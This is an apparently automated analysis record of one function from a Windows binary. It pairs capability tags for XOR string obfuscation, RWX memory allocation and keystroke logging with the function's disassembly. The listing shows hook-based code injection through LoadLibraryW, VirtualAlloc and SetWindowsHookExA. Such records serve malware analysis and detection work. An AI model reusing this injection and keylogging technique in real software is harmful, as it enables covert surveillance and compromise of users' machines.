Function at 0x140023ec0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x50
mov r12, rdx
mov r14d, ecx
mov ecx, WSASetLastError
xor edx, edx
call fcn.140019500
mov ecx, reloc.WS2_32.dll_WSACleanup
mov word [rsp + 0x20], ax
lea edx, [rcx - 0x73]
call fcn.140019500
mov ecx, 0x64
mov word [rsp + 0x22], ax
lea edx, [rcx - 0x62]
call fcn.140019500
mov ecx, WSASetLastError
mov word [rsp + 0x24], ax
lea edx, [rcx - 0x69]
call fcn.140019500
mov ecx, WSASetLastError
mov word [rsp + 0x26], ax
lea edx, [rcx - 0x68]
call fcn.140019500
mov ecx, reloc.WLDAP32.dll_Ordinal_46
mov word [rsp + 0x28], ax
lea edx, [rcx - 0x29]
call fcn.140019500
mov ecx, 0x64
mov word [rsp + 0x2a], ax
lea edx, [rcx - 0x5e]
call fcn.140019500
mov ecx, WSASetLastError
mov word [rsp + 0x2c], ax
lea edx, [rcx - 0x65]
call fcn.140019500
mov ecx, WSASetLastError
mov word [rsp + 0x2e], ax
lea edx, [rcx - 0x64]
call fcn.140019500
xor ecx, ecx
mov word [rsp + 0x30], ax
lea edx, [rcx + 9]
call fcn.140019500
movzx ecx, word [0x14007c234]
mov edx, 0xa
mov word [rsp + 0x32], ax
call fcn.140019500
movzx ecx, word [0x14007c236]
mov edx, ntohs
mov word [rsp + 0x34], ax
call fcn.140019500
movzx ecx, word [0x14007c238]
mov edx, ntohs
mov word [rsp + 0x36], ax
call fcn.140019500
movzx ecx, word [0x14007c23a]
mov edx, reloc.WS2_32.dll_listen
mov word [rsp + 0x38], ax
call fcn.140019500
movzx ecx, word [0x14007c23c]
mov edx, reloc.WS2_32.dll_ntohl
mov word [rsp + 0x3a], ax
call fcn.140019500
movzx ecx, word [0x14007c23e]
mov edx, reloc.WS2_32.dll_ntohs
mov word [rsp + 0x3c], ax
call fcn.140019500
movzx ecx, word [0x14007c240]
mov edx, reloc.WS2_32.dll_recv
mov word [rsp + 0x3e], ax
call fcn.140019500
movzx ecx, word [0x14007c242]
mov edx, reloc.WS2_32.dll_recvfrom
mov word [rsp + 0x40], ax
call fcn.140019500
movzx ecx, word [0x14007c244]
mov edx, reloc.WS2_32.dll_select
mov word [rsp + 0x42], ax
call fcn.140019500
mov word [rsp + 0x44], ax
xor eax, eax
mov word [rsp + 0x46], ax
xor r9d, r9d
mov r8d, 0x133
nop word [rax + rax]
movsxd rcx, eax
lea rdx, [rsp + 0x20]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140024070
lea rcx, [rsp + 0x20]
mov word [rsp + 0x46], r9w
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
call fcn.1400196f0
mov edx, 0x1000
mov r8d, 0x40
mov rcx, rax
call fcn.140019510
xor ecx, ecx
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov r8d, 0x3000
mov r15, rax
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x1400dda50]
lea rbp, [r15 + 0x60]
mov rsi, rax
mov r8, r12
mov edx, 0x50
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x1400dda60]
lea rcx, [rsi + 0x78]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400dda70]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400dda80]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400dda90]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400ddaa0]
movups xmmword [rax + 0x50], xmm1
mov eax, dword [reloc.WS2_32.dll_getsockname]
mov qword [rax + rsi], rbp
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsi + 0x68], rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
call fcn.1400196f0
mov r9d, reloc.WLDAP32.dll_Ordinal_200
mov r8, rsi
mov rdx, r15
mov rcx, rax
call fcn.140019760
mov r9d, r14d
mov r8, rbx
mov rdx, r15
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rsi + 0x60], 2
mov r12, rax
je 0x1400241b1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r14d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
call fcn.1400196f0
mov r9d, 0x68
lea r8, [rsi + 0x60]
mov rdx, rbp
mov rcx, rax
call fcn.140019640
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rsi + 0x60], 2
jne 0x140024175
mov rbx, qword [rsi + 0x70]
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
call fcn.1400196f0
mov rdx, r15
mov rcx, rax
call fcn.1400195b0
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea r11, [rsp + 0x50]
mov rax, rbx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret